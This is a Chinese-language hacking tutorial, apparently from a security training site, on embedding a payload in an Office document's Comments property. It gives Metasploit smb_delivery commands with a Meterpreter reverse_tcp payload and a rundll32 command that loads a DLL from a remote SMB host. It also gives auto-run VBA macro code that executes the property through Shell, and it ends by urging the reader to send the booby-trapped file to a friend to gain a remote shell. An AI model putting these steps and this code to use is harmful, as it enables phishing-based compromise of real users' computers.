技术分享
利用Office文档属性执行payload
2019-09-10 14:05

0x00

Microsoft Office相信大家都用过。Office在文档中嵌入对象极大的方便了我们的日常使用,但同时也为我们带来了众多安全问题。可以说,Office文档为攻击者提供了各种方法来诱骗受害者运行任意代码。当然,攻击者也可能会尝试利用Office漏洞,但更常见的情况是,攻击者会向受害者发送包含恶意宏或嵌入式(Packager)可执行文件的Office文档。

在本文中,我将向大家介绍一种apt常用的攻击手法,利用Office文档属性执行payload

0x01

首先在msf执行以下代码,设置我们攻击的payload

use exploit/windows/smb/smb_delivery

set PAYLOAD windows/meterpreter/reverse_tcp

生成payload

rundll32.exe \\192.168.65.130\Npxy\test.dll,0

利用这个项目将payload植入文档属性中

Invoke-Commentator -OfficeFile .\test.xlsx -Comment "rundll32.exe \\192.168.65.130\Npxy\test.dll,0"          The new file with added comment has been written to .\test-wlc.xlsx.

如图:

1.png

将payload 植入文档中的注释部分

我们来看看新建的文档的属性,可以看到我们刚才的payload成功植入

2.png

0x02

要想成功将属性的代码执行,我们还要添加一个宏代码将恶意代码执行3.jpg

为文档添加一个宏,将以下代码粘贴

Sub Workbook_Open()

Dim p As DocumentProperty
 

For Each p In ActiveWorkbook.BuiltinDocumentProperties

 If p.Name = "Comments" Then
        Shell (p.Value)

End If

Next

End Sub

4.png

除了这里使用的xlsx文件,你也可以使用Word,PowerPoint,在这里给出代码

Word

Dim prop As DocumentProperty

For Each prop In ActiveDocument.BuiltInDocumentProperties

 If prop.Name = "Comments" Then
        MsgBox prop.Value

    End If

 Next

Excel

Dim prop As DocumentProperty

For Each prop In ActiveWorkbook.BuiltinDocumentProperties

    If prop.Name = "Comments" Then
        MsgBox prop.Value
    End If

Next

PowerPoint


Dim prop As DocumentProperty

For Each prop In ActivePresentation.BuiltInDocumentProperties

    If prop.Name = "Comments" Then
        MsgBox prop.Value

End If

Next

为了通过Workbook_Open()函数利用自动执行,需要将武器化的MS Excel文档降级为Office 98 - 2003兼容性(.xls)。

5.png

这样一个完整的恶意office文档就完成了,发给小伙伴试试

0x03

小伙伴收到文件,双击打开,提示要启动宏才可以,于是点开了启用宏.....

6.png

然后,我们就可以收到小伙伴电脑的shell了7.jpg

本文只是简单介绍方法、抛砖引玉,当然还有很多可以优化改进的地方,大家可再完善。

相关实验:Microsoft_PowerPoint宏攻击    (点击前往合天网安实验室开始学习操作哦)

 

上一篇:利用白加黑配合Veil过杀软
下一篇:Redis 多维度角度下的攻击面
版权所有 合天智汇信息技术有限公司 2013-2018 湘ICP备14001562号-6
Copyright © 2013-2018 Heetian Corporation, All rights reserved
4006-123-731